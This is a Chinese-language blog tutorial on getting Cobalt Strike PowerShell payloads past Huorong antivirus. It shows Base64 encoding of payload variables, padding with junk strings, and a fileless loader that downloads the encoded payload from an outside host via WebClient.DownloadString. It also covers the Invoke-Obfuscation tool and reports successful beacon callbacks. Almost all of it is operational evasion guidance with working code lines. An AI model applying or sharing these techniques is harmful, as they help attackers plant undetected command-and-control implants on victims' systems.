免杀对抗-PowerShell-混淆+分离

演示:PowerShell-生成和上线

1.生成——启动cs,生成两种模式的powershell脚本

文件模式:执行ps1文件上线

免杀对抗-PowerShell-混淆+分离_第1张图片

命令模式:执行txt文件中的命令上线

免杀对抗-PowerShell-混淆+分离_第2张图片

2.文件模式powershell执行——两种方法

方法一:打开Win7以上自带的 Windows PowerShell ISE 来执行

成功上线:

免杀对抗-PowerShell-混淆+分离_第3张图片

方法二:打开命令行,启动PowerShell来执行

命令:powershell

命令:.\payload.ps1

免杀对抗-PowerShell-混淆+分离_第4张图片

3.命令模式powershell执行——直接将cs生成的txt文件中的命令复制到命令行执行

成功上线:

免杀对抗-PowerShell-混淆+分离_第5张图片

4.将两种模式的powershell上传到目标系统,都被火绒杀死

免杀对抗-PowerShell-混淆+分离_第6张图片

演示:PowerShell-文件模式-混淆过某绒

一、手工混淆:

变量进行编码后解码

解码代码:$xx=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))

1.将文件模式的powershell使用Windows PowerShell ISE 打开,将文件中变量进行base64编码.

免杀对抗-PowerShell-混淆+分离_第7张图片

2.在powershell中加上解码代码,保存

免杀对抗-PowerShell-混淆+分离_第8张图片

3.运行脚本,成功绕过火绒,cs正常上线。

免杀对抗-PowerShell-混淆+分离_第9张图片

Base64+混淆垃圾数据

1.还可以在编码的基础上在添加垃圾数据。在编码的开头末尾加入相同的值,这样杀毒软件就无法解码识别了。

演示:在编码加入 xiaoheizi ,再将xiaoheizi替换为:''

替换代码:$DoIt=$DoIt.Replace('xiaoheizi','')

免杀对抗-PowerShell-混淆+分离_第10张图片

2.混淆成功,再次执行。被火绒杀死了,这个火绒真的搞不懂,只经过base64编码的让过了,经过base64编码又混淆的反而被杀。

免杀对抗-PowerShell-混淆+分离_第11张图片

混淆无文件/分离/无文件落地

1.将文件中变量进行base64编码,然后上传到服务器网站目录下

免杀对抗-PowerShell-混淆+分离_第12张图片

2.powershell中的变量替换为远程加载,因为变量经过base64编码,所以还有写入解码代码

加载文件:

$DoIt= ((New-Object System.Net.Webclient).DownloadString('http://xiaoheizi.fun/base64.txt'))

免杀对抗-PowerShell-混淆+分离_第13张图片

3.运行脚本,成功绕过火绒,cs正常上线。

免杀对抗-PowerShell-混淆+分离_第14张图片

二、项目混淆:Invoke-Obfuscation

介绍:是一款专门做 PowerShell 命令和脚本混淆的项目

下载:https://github.com/danielbohannon/Invoke-Obfuscation

使用:

进入powershell:powershell

加载模块:Import-Module ./Invoke-Obfuscation.psd1

运行程序:Invoke-Obfuscation

处理文件:set scriptpath ps1文件完整路径

处理代码:set scriptblock 'xxxx'

进入编码:encoding

选择编码:1-8

输出文件:out 输出名称    #不指定路径就保存在项目根目录

1.混淆演示:成功混淆

免杀对抗-PowerShell-混淆+分离_第15张图片

2.将脚本上传到目标系统,被火绒逮住了。所以说这些出名的项目基本都会被杀软记录,导致无法绕过。

免杀对抗-PowerShell-混淆+分离_第16张图片

你可能感兴趣的:(免杀对抗,安全,网络安全)